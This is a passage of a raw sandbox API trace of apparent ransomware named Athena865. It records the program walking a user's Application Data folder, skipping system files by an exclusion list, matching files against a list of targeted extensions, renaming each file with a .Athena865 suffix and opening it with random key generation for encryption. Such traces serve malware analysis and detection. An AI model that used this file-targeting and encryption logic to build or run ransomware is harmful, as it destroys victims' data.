hHeap=0x4f0000) returned 1 [0049.985] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.985] CloseHandle (hObject=0x154) returned 1 [0049.985] CloseHandle (hObject=0x17c) returned 1 [0049.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.987] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88201090, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x35f35c0, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0x35f35c0, ftLastWriteTime.dwHighDateTime=0x1d4c741, nFileSizeHigh=0x0, nFileSizeLow=0x6b7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmUz35it3_sqim.mp3", cAlternateFileName="XMUZ35~1.MP3")) returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2=".") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="..") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="windows") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="bootmgr") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="temp") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="pagefile.sys") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="boot") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="ids.txt") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="ntuser.dat") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="perflogs") returned 1 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2="MSBuild") returned 1 [0049.987] lstrlenW (lpString="xmUz35it3_sqim.mp3") returned 18 [0049.987] lstrcpyW (in: lpString1=0x241e8c8, lpString2="xmUz35it3_sqim.mp3" | out: lpString1="xmUz35it3_sqim.mp3") returned="xmUz35it3_sqim.mp3" [0049.987] lstrlenW (lpString="xmUz35it3_sqim.mp3") returned 18 [0049.987] lstrlenW (lpString="Athena865") returned 9 [0049.987] lstrcmpiW (lpString1="_sqim.mp3", lpString2="Athena865") returned -1 [0049.987] lstrlenW (lpString=".dll") returned 4 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2=".dll") returned 1 [0049.987] lstrlenW (lpString=".lnk") returned 4 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2=".lnk") returned 1 [0049.987] lstrlenW (lpString=".ini") returned 4 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2=".ini") returned 1 [0049.987] lstrlenW (lpString=".sys") returned 4 [0049.987] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3", lpString2=".sys") returned 1 [0049.988] lstrlenW (lpString="xmUz35it3_sqim.mp3") returned 18 [0049.988] lstrlenW (lpString="bak") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0049.988] lstrlenW (lpString="ba_") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0049.988] lstrlenW (lpString="dbb") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0049.988] lstrlenW (lpString="vmdk") returned 4 [0049.988] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0049.988] lstrlenW (lpString="rar") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0049.988] lstrlenW (lpString="zip") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0049.988] lstrlenW (lpString="tgz") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0049.988] lstrlenW (lpString="vbox") returned 4 [0049.988] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0049.988] lstrlenW (lpString="vdi") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0049.988] lstrlenW (lpString="vhd") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0049.988] lstrlenW (lpString="vhdx") returned 4 [0049.988] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0049.988] lstrlenW (lpString="avhd") returned 4 [0049.988] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0049.988] lstrlenW (lpString="db") returned 2 [0049.988] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0049.988] lstrlenW (lpString="db2") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0049.988] lstrlenW (lpString="db3") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0049.988] lstrlenW (lpString="dbf") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0049.988] lstrlenW (lpString="mdf") returned 3 [0049.988] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0049.989] lstrlenW (lpString="mdb") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0049.989] lstrlenW (lpString="sql") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0049.989] lstrlenW (lpString="sqlite") returned 6 [0049.989] lstrcmpiW (lpString1="im.mp3", lpString2="sqlite") returned -1 [0049.989] lstrlenW (lpString="sqlite3") returned 7 [0049.989] lstrcmpiW (lpString1="qim.mp3", lpString2="sqlite3") returned -1 [0049.989] lstrlenW (lpString="sqlitedb") returned 8 [0049.989] lstrcmpiW (lpString1="sqim.mp3", lpString2="sqlitedb") returned -1 [0049.989] lstrlenW (lpString="xml") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0049.989] lstrlenW (lpString="$er") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0049.989] lstrlenW (lpString="4dd") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0049.989] lstrlenW (lpString="4dl") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0049.989] lstrlenW (lpString="^^^") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0049.989] lstrlenW (lpString="abs") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0049.989] lstrlenW (lpString="abx") returned 3 [0049.989] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0049.989] lstrlenW (lpString="accdb") returned 5 [0049.989] lstrcmpiW (lpString1="m.mp3", lpString2="accdb") returned 1 [0049.989] lstrlenW (lpString="accdc") returned 5 [0049.989] lstrcmpiW (lpString1="m.mp3", lpString2="accdc") returned 1 [0049.989] lstrlenW (lpString="accde") returned 5 [0049.989] lstrcmpiW (lpString1="m.mp3", lpString2="accde") returned 1 [0049.989] lstrlenW (lpString="accdr") returned 5 [0049.989] lstrcmpiW (lpString1="m.mp3", lpString2="accdr") returned 1 [0049.989] lstrlenW (lpString="accdt") returned 5 [0049.989] lstrcmpiW (lpString1="m.mp3", lpString2="accdt") returned 1 [0049.989] lstrlenW (lpString="accdw") returned 5 [0049.990] lstrcmpiW (lpString1="m.mp3", lpString2="accdw") returned 1 [0049.990] lstrlenW (lpString="accft") returned 5 [0049.990] lstrcmpiW (lpString1="m.mp3", lpString2="accft") returned 1 [0049.990] lstrlenW (lpString="adb") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.990] lstrlenW (lpString="adb") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.990] lstrlenW (lpString="ade") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0049.990] lstrlenW (lpString="adf") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0049.990] lstrlenW (lpString="adn") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0049.990] lstrlenW (lpString="adp") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0049.990] lstrlenW (lpString="alf") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0049.990] lstrlenW (lpString="ask") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0049.990] lstrlenW (lpString="btr") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0049.990] lstrlenW (lpString="cat") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0049.990] lstrlenW (lpString="cdb") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0049.990] lstrlenW (lpString="ckp") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0049.990] lstrlenW (lpString="cma") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0049.990] lstrlenW (lpString="cpd") returned 3 [0049.990] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0049.990] lstrlenW (lpString="dacpac") returned 6 [0049.991] lstrcmpiW (lpString1="im.mp3", lpString2="dacpac") returned 1 [0049.991] lstrlenW (lpString="dad") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0049.991] lstrlenW (lpString="dadiagrams") returned 10 [0049.991] lstrcmpiW (lpString1="3_sqim.mp3", lpString2="dadiagrams") returned -1 [0049.991] lstrlenW (lpString="daschema") returned 8 [0049.991] lstrcmpiW (lpString1="sqim.mp3", lpString2="daschema") returned 1 [0049.991] lstrlenW (lpString="db-journal") returned 10 [0049.991] lstrcmpiW (lpString1="3_sqim.mp3", lpString2="db-journal") returned -1 [0049.991] lstrlenW (lpString="db-shm") returned 6 [0049.991] lstrcmpiW (lpString1="im.mp3", lpString2="db-shm") returned 1 [0049.991] lstrlenW (lpString="db-wal") returned 6 [0049.991] lstrcmpiW (lpString1="im.mp3", lpString2="db-wal") returned 1 [0049.991] lstrlenW (lpString="dbc") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0049.991] lstrlenW (lpString="dbs") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0049.991] lstrlenW (lpString="dbt") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0049.991] lstrlenW (lpString="dbv") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0049.991] lstrlenW (lpString="dbx") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0049.991] lstrlenW (lpString="dcb") returned 3 [0049.991] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0049.992] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\xmUz35it3_sqim.mp3.Athena865") returned 92 [0049.992] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\xmUz35it3_sqim.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xmuz35it3_sqim.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\xmUz35it3_sqim.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xmuz35it3_sqim.mp3.athena865"), dwFlags=0x1) returned 1 [0049.992] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\xmUz35it3_sqim.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xmuz35it3_sqim.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.992] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27515) returned 1 [0049.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.993] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.993] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.994] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.994] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e80, lpName=0x0) returned 0x154 [0049.994] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e80) returned 0x100000 [0049.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.996] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.996] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.996] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.997] CloseHandle (hObject=0x154) returned 1 [0049.997] CloseHandle (hObject=0x17c) returned 1 [0049.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.998] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4cfea20, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0x8c85a730, ftLastAccessTime.dwHighDateTime=0x1d4c7be, ftLastWriteTime.dwLowDateTime=0x8c85a730, ftLastWriteTime.dwHighDateTime=0x1d4c7be, nFileSizeHigh=0x0, nFileSizeLow=0xda87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y-QNc48_tZcV5p.xlsx", cAlternateFileName="Y-QNC4~1.XLS")) returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2=".") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="..") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="windows") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="bootmgr") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="temp") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="pagefile.sys") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="boot") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="ids.txt") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="ntuser.dat") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="perflogs") returned 1 [0049.998] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2="MSBuild") returned 1 [0049.998] lstrlenW (lpString="Y-QNc48_tZcV5p.xlsx") returned 19 [0049.998] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Y-QNc48_tZcV5p.xlsx" | out: lpString1="Y-QNc48_tZcV5p.xlsx") returned="Y-QNc48_tZcV5p.xlsx" [0049.998] lstrlenW (lpString="Y-QNc48_tZcV5p.xlsx") returned 19 [0049.999] lstrlenW (lpString="Athena865") returned 9 [0049.999] lstrcmpiW (lpString1="cV5p.xlsx", lpString2="Athena865") returned 1 [0049.999] lstrlenW (lpString=".dll") returned 4 [0049.999] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2=".dll") returned 1 [0049.999] lstrlenW (lpString=".lnk") returned 4 [0049.999] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2=".lnk") returned 1 [0049.999] lstrlenW (lpString=".ini") returned 4 [0049.999] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2=".ini") returned 1 [0049.999] lstrlenW (lpString=".sys") returned 4 [0049.999] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx", lpString2=".sys") returned 1 [0049.999] lstrlenW (lpString="Y-QNc48_tZcV5p.xlsx") returned 19 [0049.999] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Y-QNc48_tZcV5p.xlsx.Athena865") returned 93 [0049.999] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Y-QNc48_tZcV5p.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\y-qnc48_tzcv5p.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Y-QNc48_tZcV5p.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\y-qnc48_tzcv5p.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Y-QNc48_tZcV5p.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\y-qnc48_tzcv5p.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55943) returned 1 [0050.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.001] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.001] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.001] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd90, lpName=0x0) returned 0x154 [0050.002] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdd90) returned 0x100000 [0050.003] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.004] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.004] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.005] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.005] CloseHandle (hObject=0x154) returned 1 [0050.005] CloseHandle (hObject=0x17c) returned 1 [0050.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.007] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe45206d0, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xf7043b40, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0xf7043b40, ftLastWriteTime.dwHighDateTime=0x1d4d285, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7M11JjnoJE4PxKJttGG.ppt", cAlternateFileName="_7M11J~1.PPT")) returned 1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2=".") returned 1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="..") returned 1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="windows") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="bootmgr") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="temp") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="pagefile.sys") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="boot") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="ids.txt") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="ntuser.dat") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="perflogs") returned -1 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2="MSBuild") returned -1 [0050.007] lstrlenW (lpString="_7M11JjnoJE4PxKJttGG.ppt") returned 24 [0050.007] lstrcpyW (in: lpString1=0x241e8c8, lpString2="_7M11JjnoJE4PxKJttGG.ppt" | out: lpString1="_7M11JjnoJE4PxKJttGG.ppt") returned="_7M11JjnoJE4PxKJttGG.ppt" [0050.007] lstrlenW (lpString="_7M11JjnoJE4PxKJttGG.ppt") returned 24 [0050.007] lstrlenW (lpString="Athena865") returned 9 [0050.007] lstrcmpiW (lpString1="JttGG.ppt", lpString2="Athena865") returned 1 [0050.007] lstrlenW (lpString=".dll") returned 4 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2=".dll") returned 1 [0050.007] lstrlenW (lpString=".lnk") returned 4 [0050.007] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2=".lnk") returned 1 [0050.008] lstrlenW (lpString=".ini") returned 4 [0050.008] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2=".ini") returned 1 [0050.008] lstrlenW (lpString=".sys") returned 4 [0050.008] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt", lpString2=".sys") returned 1 [0050.008] lstrlenW (lpString="_7M11JjnoJE4PxKJttGG.ppt") returned 24 [0050.008] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\_7M11JjnoJE4PxKJttGG.ppt.Athena865") returned 98 [0050.008] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\_7M11JjnoJE4PxKJttGG.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\_7m11jjnoje4pxkjttgg.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\_7M11JjnoJE4PxKJttGG.ppt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\_7m11jjnoje4pxkjttgg.ppt.athena865"), dwFlags=0x1) returned 1 [0050.009] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\_7M11JjnoJE4PxKJttGG.ppt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\_7m11jjnoje4pxkjttgg.ppt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.009] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9012) returned 1 [0050.009] RtlAllocateHeap 